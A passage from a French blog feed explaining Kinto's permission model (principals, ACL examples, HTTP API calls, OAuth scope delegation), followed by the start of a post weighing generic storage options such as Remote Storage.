&lt;td&gt;Permission de modifier ou de
partager l&amp;#8217;enregistrement.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;read&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de consulter
l&amp;#8217;enregistrement.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;group&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;cite&gt;write&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission d&amp;#8217;administrer le
groupe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;cite&gt;read&lt;/cite&gt;&lt;/td&gt;
&lt;td&gt;Permission de consulter les
membres du groupe.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="les-principals"&gt;
&lt;h3&gt;Les « &lt;em&gt;principals&lt;/em&gt;&amp;nbsp;»&lt;/h3&gt;
&lt;p&gt;Les acteurs se connectant au service de stockage peuvent&amp;nbsp;s&amp;#8217;authentifier.&lt;/p&gt;
&lt;p&gt;Ils reçoivent alors une liste de &lt;em&gt;principals&lt;/em&gt;&amp;nbsp;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;: le &lt;em&gt;principal&lt;/em&gt; donné à tous les acteurs (authentifiés ou pas)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;: le &lt;em&gt;principal&lt;/em&gt; donné à tous les acteurs authentifiés&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;un &lt;em&gt;principal&lt;/em&gt; identifiant l&amp;#8217;acteur, par exemple &lt;tt class="docutils literal"&gt;fxa:32aa95a474c984d41d395e2d0b614aa2&lt;/tt&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Afin d&amp;#8217;éviter les collisions d&amp;#8217;identifiants, le &lt;em&gt;principal&lt;/em&gt; de l&amp;#8217;acteur dépend
de son type d&amp;#8217;authentification (&lt;tt class="docutils literal"&gt;system&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;basic&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;ipaddr&lt;/tt&gt;, &lt;tt class="docutils literal"&gt;hawk&lt;/tt&gt;,
&lt;tt class="docutils literal"&gt;fxa&lt;/tt&gt;) et de son identifiant (unique par&amp;nbsp;acteur).&lt;/p&gt;
&lt;p&gt;En fonction du &lt;em&gt;bucket&lt;/em&gt; sur lequel se passe l&amp;#8217;action, les groupes dont
fait partie l&amp;#8217;utilisateur sont également ajoutés à sa liste de
&lt;tt class="docutils literal"&gt;principals&lt;/tt&gt;. &lt;tt class="docutils literal"&gt;group:moderators&lt;/tt&gt; par&amp;nbsp;exemple.&lt;/p&gt;
&lt;p&gt;Ainsi, si Bob se connecte avec &lt;em&gt;Firefox Accounts&lt;/em&gt; sur le &lt;em&gt;bucket&lt;/em&gt;
&lt;tt class="docutils literal"&gt;servicedenuages_blog&lt;/tt&gt; dans lequel il fait partie du groupe
&lt;tt class="docutils literal"&gt;moderators&lt;/tt&gt;, il aura la liste de &lt;em&gt;principals&lt;/em&gt; suivante :
&lt;tt class="docutils literal"&gt;Everyone, Authenticated, fxa:32aa95a474c984d41d395e2d0b614aa2, group:moderators&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Il est donc possible d&amp;#8217;assigner une permission à Bob en utilisant l&amp;#8217;un de
ces quatre &lt;em&gt;principals&lt;/em&gt;.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;Le &lt;em&gt;principal&lt;/em&gt; &lt;tt class="docutils literal"&gt;&amp;lt;userid&amp;gt;&lt;/tt&gt; dépend du &lt;em&gt;back-end&lt;/em&gt; d&amp;#8217;authentification (e.g.
&lt;tt class="docutils literal"&gt;github:leplatrem&lt;/tt&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="quelques-exemples"&gt;
&lt;h3&gt;Quelques&amp;nbsp;exemples&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Blog&lt;/strong&gt;&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="35%" /&gt;
&lt;col width="18%" /&gt;
&lt;col width="46%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Permissions&lt;/th&gt;
&lt;th class="head"&gt;Principals&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;bucket:blog&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;blog&lt;/span&gt; owner id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;collection:articles&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;group:moderators&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;read&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;record:569e28r98889&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;co-author&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wiki&lt;/strong&gt;&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="35%" /&gt;
&lt;col width="18%" /&gt;
&lt;col width="46%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Object&lt;/th&gt;
&lt;th class="head"&gt;Permissions&lt;/th&gt;
&lt;th class="head"&gt;Principals&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;bucket:wiki&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;wiki&lt;/span&gt; administrator id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;collection:articles&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;read&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Sondages&lt;/strong&gt;&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="34%" /&gt;
&lt;col width="31%" /&gt;
&lt;col width="35%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Permissions&lt;/th&gt;
&lt;th class="head"&gt;Principals&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;bucket:poll&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;admin&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;collection:create&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;collection:&amp;lt;poll&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;poll&lt;/span&gt; author id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;record:create&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Cartes&amp;nbsp;colaboratives&lt;/strong&gt;&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="34%" /&gt;
&lt;col width="31%" /&gt;
&lt;col width="35%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Permissions&lt;/th&gt;
&lt;th class="head"&gt;Principals&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;bucket:maps&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;admin&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;collection:create&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;collection:&amp;lt;map&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;map&lt;/span&gt; author id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;read&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;record:&amp;lt;record&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;maintainer&lt;/span&gt; id&amp;gt;&lt;/tt&gt;
(&lt;em&gt;ex. event staff member
maintaining venues&lt;/em&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Plateformes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bien sûr, il y a plusieurs façons de modéliser les cas d&amp;#8217;utilisation typiques.
Par exemple, on peut imaginer une plateforme de wikis (à la wikia.com), où les
wikis sont privés par défaut et certaines pages peuvent être rendues publiques&amp;nbsp;:&lt;/p&gt;
&lt;table border="1" class="docutils"&gt;
&lt;colgroup&gt;
&lt;col width="32%" /&gt;
&lt;col width="30%" /&gt;
&lt;col width="38%" /&gt;
&lt;/colgroup&gt;
&lt;thead valign="bottom"&gt;
&lt;tr&gt;&lt;th class="head"&gt;Objet&lt;/th&gt;
&lt;th class="head"&gt;Permissions&lt;/th&gt;
&lt;th class="head"&gt;Principals&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody valign="top"&gt;
&lt;tr&gt;&lt;td rowspan="3"&gt;&lt;tt class="docutils literal"&gt;bucket:freewiki&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;administrator&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;collection:create&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;group:create&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Authenticated&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td rowspan="2"&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;collection:&amp;lt;wiki&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;write&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;fxa:&amp;lt;wiki&lt;/span&gt; owner id&amp;gt;&lt;/tt&gt;,
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;group:&amp;lt;editors&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;read&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;group:&amp;lt;readers&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;record:&amp;lt;page&lt;/span&gt; id&amp;gt;&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;read&lt;/tt&gt;&lt;/td&gt;
&lt;td&gt;&lt;tt class="docutils literal"&gt;Everyone&lt;/tt&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div class="section" id="l-api-http"&gt;
&lt;h3&gt;L&amp;#8217;&lt;span class="caps"&gt;API&lt;/span&gt; &lt;span class="caps"&gt;HTTP&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;Lors de la création d&amp;#8217;un objet, l&amp;#8217;utilisateur se voit
attribué la permission &lt;tt class="docutils literal"&gt;write&lt;/tt&gt; sur l&amp;#8217;objet&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nf"&gt;PUT&lt;/span&gt; &lt;span class="nn"&gt;/v1/buckets/servicedenuages_blog&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer 0b9c2625dc21ef05f6ad4ddf47c5f203837aa32ca42fced54c2625dc21efac32&lt;/span&gt;
&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

HTTP/1.1 201 Created
Content-Type: application/json; charset=utf-8

{
    &amp;quot;id&amp;quot;: &amp;quot;servicedenuages_blog&amp;quot;,
    &amp;quot;permissions&amp;quot;: {
        &amp;quot;write&amp;quot;: [&amp;quot;fxa:49d02d55ad10973b7b9d0dc9eba7fdf0&amp;quot;]
    }
}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est possible d&amp;#8217;ajouter des permissions à l&amp;#8217;aide de &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PATCH&lt;/span&gt;&lt;/tt&gt; :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nf"&gt;PATCH&lt;/span&gt; &lt;span class="nn"&gt;/v1/buckets/servicedenuages_blog/collections/articles&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Authorization&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;Bearer 0b9c2625dc21ef05f6ad4ddf47c5f203837aa32ca42fced54c2625dc21efac32&lt;/span&gt;
&lt;span class="na"&gt;Accept&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="l"&gt;application/json&lt;/span&gt;

{
    &amp;quot;permissions&amp;quot;: {
        &amp;quot;read&amp;quot;: [&amp;quot;+system.Everyone&amp;quot;]
    }
}

HTTP/1.1 201 Created
Content-Type: application/json; charset=utf-8

{
    &amp;quot;id&amp;quot;: &amp;quot;servicedenuages_blog&amp;quot;,
    &amp;quot;permissions&amp;quot;: {
        &amp;quot;write&amp;quot;: [&amp;quot;fxa:49d02d55ad10973b7b9d0dc9eba7fdf0&amp;quot;],
        &amp;quot;read&amp;quot;: [&amp;quot;system.Everyone&amp;quot;]
    }
}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour le &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PATCH&lt;/span&gt;&lt;/tt&gt; nous utilisons la syntaxe préfixée par un &lt;tt class="docutils literal"&gt;+&lt;/tt&gt; ou
par un &lt;tt class="docutils literal"&gt;-&lt;/tt&gt; pour ajouter ou enlever des &lt;em&gt;principals&lt;/em&gt; sur un &lt;span class="caps"&gt;ACL&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Il est également possible de faire un &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PUT&lt;/span&gt;&lt;/tt&gt; pour réinitialiser les ACLs,
sachant que le &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PUT&lt;/span&gt;&lt;/tt&gt; va ajouter l&amp;#8217;utilisateur courant à la
liste automatiquement mais qu&amp;#8217;il pourra se retirer avec un &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PATCH&lt;/span&gt;&lt;/tt&gt;.
Ajouter l&amp;#8217;utilisateur courant permet d&amp;#8217;éviter les situations où plus
personne n&amp;#8217;a accès aux&amp;nbsp;données.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="first admonition-title"&gt;Note&lt;/p&gt;
&lt;p class="last"&gt;La permission &lt;tt class="docutils literal"&gt;create&lt;/tt&gt; est valable pour &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;POST&lt;/span&gt;&lt;/tt&gt; mais aussi pour &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;PUT&lt;/span&gt;&lt;/tt&gt;
lorsque l&amp;#8217;enregistrement n&amp;#8217;existe&amp;nbsp;pas.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="le-cas-specifique-des-donnees-utilisateurs"&gt;
&lt;h3&gt;Le cas spécifique des données&amp;nbsp;utilisateurs&lt;/h3&gt;
&lt;p&gt;Une des fonctionnalités actuelles de &lt;em&gt;Kinto&lt;/em&gt; est de pouvoir gérer des
collections d&amp;#8217;enregistrements par&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;p&gt;Sous &lt;em&gt;*nix&lt;/em&gt; il est possible, pour une
application, de sauvegarder la configuration de l&amp;#8217;utilisateur courant
dans son dossier personnel sans se soucier de l&amp;#8217;emplacement sur
le disque en utilisant &lt;tt class="docutils literal"&gt;~/&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Dans notre cas si une application souhaite sauvegarder les contacts d&amp;#8217;un
utilisateur, elle peut utiliser le raccourci &lt;tt class="docutils literal"&gt;~&lt;/tt&gt; pour faire référence au
&lt;em&gt;bucket&lt;/em&gt; &lt;strong&gt;personnel&lt;/strong&gt; de l&amp;#8217;utilisateur : &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;/buckets/~/collections/contacts&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Cette &lt;span class="caps"&gt;URL&lt;/span&gt; retournera le code &lt;tt class="docutils literal"&gt;&lt;span class="caps"&gt;HTTP&lt;/span&gt; 307&lt;/tt&gt; vers le &lt;em&gt;bucket&lt;/em&gt; de l&amp;#8217;utilisateur courant&amp;nbsp;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/v1/buckets/~/collections/contacts/records&lt;/span&gt; &lt;span class="kr"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;

{
   &amp;quot;name&amp;quot;: &amp;quot;Rémy&amp;quot;,
   &amp;quot;emails&amp;quot;: [&amp;quot;remy@example.com&amp;quot;],
   &amp;quot;phones&amp;quot;: [&amp;quot;+330820800800&amp;quot;]
}

HTTP/1.1 307 Temporary Redirect
Location: /v1/buckets/fxa:49d02d55ad10973b7b9d0dc9eba7fdf0/collections/contacts/records
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainsi il est tout à fait possible à Alice de partager ses contacts
avec Bob. Il lui suffit pour cela de donner la permission &lt;tt class="docutils literal"&gt;read&lt;/tt&gt; à
Bob sur sa collection et de donner l&amp;#8217;&lt;span class="caps"&gt;URL&lt;/span&gt; complète
&lt;tt class="docutils literal"&gt;/v1/buckets/fxa:49d02d55ad10973b7b9d0dc9eba7fdf0/collections/contacts/records&lt;/tt&gt;
à&amp;nbsp;Bob.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="la-delegation-des-permissions"&gt;
&lt;h3&gt;La délégation des&amp;nbsp;permissions&lt;/h3&gt;
&lt;p&gt;Dans le cas de &lt;em&gt;Kinto&lt;/em&gt;, nous avons défini un format pour restreindre les
permissions via les scopes OAuth2:
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;storage:&amp;lt;bucket_id&amp;gt;:&amp;lt;collection_id&amp;gt;:&amp;lt;permissions_list&amp;gt;&lt;/span&gt;&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;Ainsi, si on reprend l&amp;#8217;exemple précédent de la liste de tâches, il est possible pour
Bob de créer un token OAuth spécifique avec les &lt;em&gt;scopes&lt;/em&gt; suivants :
&lt;tt class="docutils literal"&gt;profile storage:todolist:tasks:write &lt;span class="pre"&gt;storage:~:contacts:read+records:create&lt;/span&gt;&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Donc, bien que Bob a la permission &lt;tt class="docutils literal"&gt;write&lt;/tt&gt; sur ses contacts,
l&amp;#8217;application utilisant ce token pourra uniquement lire les contacts
existants et en ajouter de&amp;nbsp;nouveaux.&lt;/p&gt;
&lt;p&gt;Une partie de la complexité est donc de réussir à présenter ces &lt;em&gt;scopes&lt;/em&gt; de
manière lisible à l&amp;#8217;utilisateur, afin qu&amp;#8217;il choisisse quelles permissions
donner aux applications qui agissent en son&amp;nbsp;nom.&lt;/p&gt;
&lt;p&gt;Voilà où nous en sommes de notre réflexion&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Si vous avez des choses à ajouter, des points de désaccord ou autres
réflexions, n&amp;#8217;hésitez pas à nous interrompre pendant qu&amp;#8217;il est encore temps&amp;nbsp;!&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><category term="code"></category></entry><entry><title>Eco-système et stockage générique</title><link href="https://blog.notmyidea.org/eco-systeme-et-stockage-generique.html" rel="alternate"></link><published>2015-04-30T00:00:00+02:00</published><updated>2015-04-30T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2015-04-30:/eco-systeme-et-stockage-generique.html</id><summary type="html">
&lt;p&gt;&lt;strong&gt;tl;dr Nous devons construire un service de suivi de paiements, et nous
hésitons à continuer à nous entêter avec notre propre solution de&amp;nbsp;stockage/synchronisation.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme nous l&amp;#8217;écrivions &lt;a href="https://blog.notmyidea.org/service-de-nuages-fr.html"&gt;dans l&amp;#8217;article
précédent&lt;/a&gt;, nous
souhaitons construire une solution de stockage générique. On refait
&lt;a href="http://daybed.readthedocs.org"&gt;Daybed&lt;/a&gt; chez Mozilla&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Notre objectif est …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;&lt;strong&gt;tl;dr Nous devons construire un service de suivi de paiements, et nous
hésitons à continuer à nous entêter avec notre propre solution de&amp;nbsp;stockage/synchronisation.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme nous l&amp;#8217;écrivions &lt;a href="https://blog.notmyidea.org/service-de-nuages-fr.html"&gt;dans l&amp;#8217;article
précédent&lt;/a&gt;, nous
souhaitons construire une solution de stockage générique. On refait
&lt;a href="http://daybed.readthedocs.org"&gt;Daybed&lt;/a&gt; chez Mozilla&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;Notre objectif est simple: permettre aux développeurs d&amp;#8217;application,
internes à Mozilla ou du monde entier, de faire persister et
synchroniser facilement des données associées à un&amp;nbsp;utilisateur.&lt;/p&gt;
&lt;div id="storage-specs"&gt;

Les aspects de l&amp;#8217;architecture qui nous semblent incontournables:

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;La solution doit reposer sur un protocole, et non sur une
    implémentation&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;L&amp;#8217;auto-hébergement de l&amp;#8217;ensemble doit être simplissime&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;L&amp;#8217;authentification doit être &lt;em&gt;pluggable&lt;/em&gt;, voire décentralisée
    (OAuth2, FxA, Persona)&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Les enregistrements doivent pouvoir être validés par le serveur&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Les données doivent pouvoir être stockées dans n&amp;#8217;importe quel
    backend&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Un système de permissions doit permettre de protéger des
    collections, ou de partager des enregistrements de manière fine&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;La résolution de conflits doit pouvoir avoir lieu sur le serveur&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Le client doit être pensé «*offline-first*»&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Le client doit pouvoir réconcilier les données simplement&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Le client doit pouvoir être utilisé aussi bien dans le navigateur
    que côté serveur&amp;nbsp;;&lt;/li&gt;
&lt;li&gt;Tous les composants se doivent d´être simples et substituables&amp;nbsp;facilement.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La première question qui nous a été posée fût «*Pourquoi vous
n&amp;#8217;utilisez pas PouchDB ou Remote Storage&amp;nbsp;?*»&lt;/p&gt;
&lt;h2 id="remote-storage"&gt;Remote&amp;nbsp;Storage&lt;/h2&gt;
&lt;p&gt;Remote Storage est un standard ouvert pour du stockage par utilisateur.
&lt;a href="http://tools.ietf.org/html/draft-dejong-remotestorage-04"&gt;La
specification&lt;/a&gt;
se base sur des standards déjà existants et éprouvés: Webfinger, OAuth
2, &lt;span class="caps"&gt;CORS&lt;/span&gt; et &lt;span class="caps"&gt;REST&lt;/span&gt;.&lt;/p&gt;
